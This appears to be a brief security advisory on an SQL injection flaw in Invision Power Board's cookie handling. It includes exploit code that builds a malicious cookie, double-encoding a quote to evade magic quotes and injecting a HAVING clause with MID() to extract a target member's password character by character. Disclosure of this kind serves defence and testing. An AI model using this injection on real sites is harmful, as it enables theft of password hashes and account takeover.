Invision Power Board is vulnerable to an SQL Injection vulnerability in the way it handles cookies, exploiting this vulnerability allows malicious attacker to endanger database's integrity, the following exploit code can be used to test your system for the mentioned vulnerability.
/* %2527 translates to %27, which gets past magic quotes.This is translated to ' by urldecode. */
$cookie ="member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
$cookie .="%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;
/* Query is in effect: SELECT * FROM ibf_members
WHERE id=$id AND password='$pass' ORid=$target
HAVING id=$target AND MID(`password`,$i,1)='$letter' */